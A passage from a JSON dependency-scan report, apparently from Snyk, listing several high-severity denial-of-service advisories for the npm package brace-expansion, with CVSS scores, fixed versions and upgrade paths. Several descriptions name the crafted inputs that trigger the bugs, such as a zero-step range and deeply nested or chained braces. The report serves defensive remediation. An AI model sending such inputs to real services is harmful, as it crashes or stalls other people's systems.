"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpublish@10.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpublish@11.2.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpublish@10.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpublish@11.2.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpublish@10.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpublish@11.2.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpublish@10.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpublish@11.2.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpublish@10.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpublish@11.2.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
